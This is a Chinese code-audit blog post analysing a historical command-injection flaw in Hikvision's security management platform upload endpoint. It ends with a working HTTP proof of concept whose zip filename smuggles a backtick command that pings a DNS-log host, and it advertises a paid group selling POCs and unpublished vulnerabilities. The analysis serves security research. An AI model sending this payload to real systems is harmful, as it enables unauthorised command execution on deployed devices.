前言
首先是之前在某漏洞库上看到海康威视-综合安防管理平台 /svm/api/v1/productFile 路径存在任意文件上传,因为刚好有源码就想着去看下,起初以为是zip解压缩目录穿越造成的文件写入,后来发现是拼接命令造成命令执行,比较有意思,已经有其他大佬发过分析文章了,这里只是简单记录下,大佬勿喷。
代码分析
首先根据漏洞路径定位到代码位置。
除了上传文件外还必须要传入2个参数type和ip。
进入productFileUpload方法查看代码逻辑,首先校验Token请求头。
不通过直接抛出异常。
这里这个Token请求头可以配合另一个漏洞来获取,这里直接看文件上传方法resolverUploadMultipartFile,首先判断上传的文件后缀是不是.zip,如果不是直接抛出异常。
如果上传的文件后缀是.zip文件的话,会先调用FileResolver.transferTo。
在FileResolver.transferTo方法中,先获取/opt/hikvision/web/components/svm.1/data/temp目录,如果这个目录不存在的话会创建。
然后因为传入的rename为true,所以保存的文件名前面会加上uuid,最终保存的文件路径就是/opt/hikvision/web/components/svm.1/data/temp/uuid_xxxx.zip,FileResolver.transferTo返回保存文件的路径。
回到resolverUploadMultipartFile方法,执行完FileResolver.transferTo且没异常抛出后,会调用ZipFacade.unzip方法来解压上传的zip文件。
这里传入的参数CommonCache.ZIP_TOOL_PATH是7za文件的路径。
fileAbsuolutePath就是保存的文件路径,ZipFacade.unzip方法中首先检查7za和上传的文件是否存在, 然后获取去掉上传的文件扩展名后的路径,作为解压后的目标目录,如果不存在则创建。
最后构建并执行解压命令,这里可以发现这个命令是拼接的,类似于
"7za" x "/opt/hikvision/web/components/svm.1/data/temp/uuid_xxxx.zip" -o"/opt/hikvision/web/components/svm.1/data/temp/uuid_xxxx" -y
而类似于这段命令中,xxxx是我们可控的,就是上传zip文件的名字,这里就可以利用linux中的内联执行来执行系统命令了。所以文件名可以构造为`ping xxx.dnslog.cn`.zip来达到命令执行。
漏洞POC
token需要通过另一个接口获取。
POST /svm/api/v1/productFile?type=product&ip=127.0.0.1&agentNo=1 HTTP/1.1
Host:
Token: SElLIElnVTBzNVd6eWlibVB4M046dUE0SlBBbGJTWGNMUnk5aWg4dkJXL2RjeEdqKys4aTd0cHBMM09INytVZz0=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary =---------------------------142851345723692939351758052805
Content-Length: 346
-----------------------------142851345723692939351758052805
Content-Disposition: form-data; name="file"; filename="`ping xxx.dnslog.cn`.zip"
Content-Type: application/zip
123
-----------------------------142851345723692939351758052805--
关于星球
星球里有团队内部POC分享。星球定期更新安全内容,包括:内部漏洞库情报分享(包括部分未公开0/1day)、poc利用工具及内部最新研究成果。圈子目前价格为89元(交个朋友),后续人员加入数量多的话会考虑涨价(先到先得!!)
原文始发于微信公众号(良月安全):[代码审计]海康productFile命令执行历史漏洞分析(含poc)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论